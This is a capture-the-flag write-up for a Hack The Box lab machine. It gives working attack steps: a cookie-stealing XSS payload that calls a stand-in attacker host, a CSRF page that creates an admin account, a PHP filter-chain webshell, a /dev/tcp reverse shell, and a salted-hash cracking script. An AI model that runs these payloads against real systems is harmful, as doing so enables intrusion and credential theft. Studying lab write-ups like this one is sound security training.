Skip to content

Guardian — Hack The Box

Platform: Linux
IP: 10.10.11.84
Difficulty: Hard Author: NoSec


wanna go deeper? unlock short videos & early root chains by joining backdoor crew

💀 join the backdoor crew

Editing /etc/hosts

IP=<TARGET_IP>         # e.g., 10.10.11.84 (replace with your HTB instance IP)
sudo sh -c "printf '%s %s\n' $IP 'guardian.htb portal.guardian.htb gitea.guardian.htb' >> /etc/hosts"

Recon – Service enumeration

Nmap (quick all-ports, scripts, versions)

mkdir -p scans
nmap -p- --min-rate 10000 -T4 -oA scans/ports guardian.htb
nmap -sCV -p22,80 -oA scans/svcs guardian.htb

Expected highlights: - 22/tcp OpenSSH 8.9p1
- 80/tcp Apache 2.4.52 → “Guardian University” landing site

Most relevant: - 22/tcp SSH - 80/tcp HTTP (guardian.htb → marketing site; leads to portal.guardian.htb)


Web recon → portal subdomain + default creds

1) Open http://guardian.htb/ and view-source / page elements — find a hint to portal.guardian.htb (student portal).
2) Browse http://portal.guardian.htb/ → login page. Open the Help/Guide link: it states the default password is GU1234.
3) The landing site shows example student emails; the username format follows a student ID. Try the first known one:

username: GU0142023
password: GU1234

This logs in as a Student.


Chat enumeration → staff creds (pivot to Gitea)

The portal includes a chat view that uses array-style parameters:

/student/chat.php?chat_users[0]=X&chat_users[1]=Y

We can enumerate small integer IDs with our Student session cookie to discover staff conversations that leak credentials.

mkdir -p loot
echo {1..20} | tr ' ' '\n' > ids.txt

# Replace with your real session value from the browser
COOKIE='PHPSESSID=rot1bg6eg8f8t0tpu843qldn0h'

ffuf -u 'http://portal.guardian.htb/student/chat.php?chat_users[0]=FUZZ1&chat_users[1]=FUZZ2' \
     -w ids.txt:FUZZ1 -w ids.txt:FUZZ2 -mode clusterbomb \
     -H "Cookie: $COOKIE" -fl 178 -fl 164 -o loot/chat_enum.json

Among the valid hits you’ll find a thread where a staff member shares Gitea credentials and the vhost:

VHOST: gitea.guardian.htb

username: jamil.enockson@guardian.htb
password: DHsN<pass>

Log in to http://gitea.guardian.htb/ with these creds.


Read the portal source (on Gitea) → XLSX → stored XSS gadget

In the portal.guardian.htb repo you’ll see the app converts uploaded XLSX files to HTML using PhpSpreadsheet’s HTML writer. The helper that builds the sheet navigation uses raw sheet titles → if we control a sheet title and have at least two sheets (so navigation renders), we get a stored XSS on preview.

Plan: upload a malicious XLSX; when a Lecturer previews it, our JS exfiltrates their PHPSESSID.

Craft the XLSX

Create a workbook with 2 sheets. Set one sheet’s title to an XSS payload (some editors allow special chars in titles; use one that does). Example payload:

"><img src=x onerror="fetch('http://ATTACKER_IP:8000/x?c='+btoa(document.cookie))">

Export as .xlsx.

Start a catcher

# simple HTTP catcher on the attacker box
sudo python3 -m http.server 8000
# (or use tcpdump: sudo tcpdump -A -i tun0 'tcp port 8000')

Upload & wait

Upload the XLSX via the portal’s assignment/preview feature. Once a Lecturer opens the preview (server renders HTML), your catcher receives a hit like:

# example
echo UEhQU0VTU0lEPWs2N3I4aGNvMjNnOGh0dXFiNThlNDd2azI5 | base64 -d
# PHPSESSID=k67r8hco23g8htuqb58e47vk29

Edit your browser cookie for portal.guardian.htb to that PHPSESSID and refresh → you’re now a Lecturer.


From Lecturer → Admin (CSRF token pool bug)

From the code (e.g., admin/createuser.php) CSRF tokens are stored in a global JSON pool on every page load and validation only checks for membership — tokens are never removed. Any known token is valid indefinitely → perfect for CSRF to create a new Admin.

Host a CSRF page

Save this as csrf-admin.html and serve it from your box (e.g., python3 -m http.server 8000):

<!doctype html>
<form id="f" action="http://portal.guardian.htb/admin/createuser.php" method="POST">
  <input type="hidden" name="username" value="nosec">
  <input type="hidden" name="password" value="P@ssw0rd123!!">
  <input type="hidden" name="full_name" value="nosec User">
  <input type="hidden" name="email" value="nosec@example.com">
  <input type="hidden" name="dob" value="1990-01-01">
  <input type="hidden" name="address" value="123 Hackers Street">
  <input type="hidden" name="user_role" value="admin">
  <!-- any token present in tokens.json works; below is an example format -->
  <input type="hidden" name="csrf_token" value="4263a883187460991d60f1bf9c6d332f">
</form>
<script>document.getElementById('f').submit()</script>

Get the Admin to load it

Use a feature the Admin will review (e.g., Notice Board) to drop your link. When the Admin visits, your attacker account is created:

username: nosec
password: P@ssw0rd123!!

Log in to the Admin panel with it.


LFI → webshell via PHP filter chain (Admin/Reports)

Admin → Reports loads a report file via ?report= and tries to restrict it to an allowlist: enrollment.php | academic.php | financial.php | system.php. It blocks .. and uses a regex like:

preg_match('/^(.*(enrollment|academic|financial|system)\.php)$/', $report)

We can bypass with a PHP filter chain that decodes a payload (e.g., <?php eval($_POST["a"]);?>) and then append ,system.php to satisfy the regex.

Generate a filter chain

Use a generator (public “php filter chain generator” scripts exist) to encode a tiny webshell:

python3 php_filter_chain_generator.py --chain '<?php eval($_POST["a"]);?>' \
  | tee loot/php_filter_chain.txt

This yields something like:

php://filter/convert.iconv.utf-8.utf-16le|convert.base64-decode|.../resource=....

Trigger include with comma trick

Visit (replace <CHAIN> with the generator output):

http://portal.guardian.htb/admin/reports.php?report=<CHAIN>,system.php

Pop a reverse shell

# listener on attacker
rlwrap -q 0 nc -lvnp 4444

# trigger from attacker
curl -X POST 'http://portal.guardian.htb/admin/reports.php?report=<CHAIN>,system.php' \
     -d 'a=system("bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\"");'

Catch a shell as www-data.


Loot DB creds → dump user hashes

On the target, inspect sockets:

ss -tuln
# expect 127.0.0.1:3306 (MySQL) and maybe 127.0.0.1:3000 (Gitea)

Search the portal config for DB credentials (also visible in Gitea repo):

cd /var/www/html/portal.guardian.htb 2>/dev/null || cd ~
grep -RIn "host\|user\|pass\|dbname\|salt" . 2>/dev/null

Connect and dump user table:

mysql -u <db_user> -p'<db_pass>' -h 127.0.0.1 portal \
  -e "select username,password_hash from users" | tee loot/users_hashes.txt

From config you’ll also find a global SALT, e.g.,

SALT="8Sb)tM1vs1SS"

Crack sha256(password + SALT) → get jamil

Create a simple cracker (hashes.txt is user:hash per line):

# crack.py
import hashlib

SALT = "8Sb)tM1vs1SS"             # from portal config
WL   = "/usr/share/wordlists/rockyou.txt"

pairs = [l.strip().split(":", 1) for l in open("hashes.txt")]

def h(p): return hashlib.sha256((p + SALT).encode()).hexdigest()

for user, target in pairs:
    with open(WL, "r", encoding="latin-1", errors="ignore") as f:
        for pwd in f:
            pwd = pwd.strip()
            if h(pwd) == target:
                print(f"[+] {user}:{pwd}")
                break

hashes.txt example:

admin:694a63de406521120d9<HASH>
jamil.enockson:c1d8dfaeee103<HASH>
mark.pargetter:8623e713...

Run the cracker:

python3 crack.py
# [+] admin:fak<PASS>
# [+] jamil.enockson:copp<PASS>

User own

Upgrade TTY and switch user:

# in your www-data shell
script -qc /bin/bash /dev/null
python3 -c 'import pty,os; pty.spawn("/bin/bash"); os.setsid();'
stty raw -echo; fg; reset

su - jamil
# password: copperhouse56

cat ~/user.txt

User flag obtained.


Blue-team notes / remediation

  • Default portal password GU1234: force change on first login; rate limit + lockout.
  • PhpSpreadsheet HTML writer: escape sheet titles or upgrade; server-side sanitize before render.
  • CSRF token pool: make tokens per-session, single-use, and expire them; don’t store a global never-expiring list.
  • ?report= include: hard allowlist on the server side; never allow php:///filter chains or user-controlled decode paths.
  • Passwords: use a modern KDF (Argon2id/bcrypt/scrypt) with per-user random salt; no reuse across services.

🔐 Root part is only available in the private Telegram group while the box is active in Season 8. 👉 Join for the full writeup, extra tips and exclusive content: 📡 https://t.me/nosecpwn


☕ invite me for a coffee so i don’t fall asleep writing the next writeup

💻 support nosec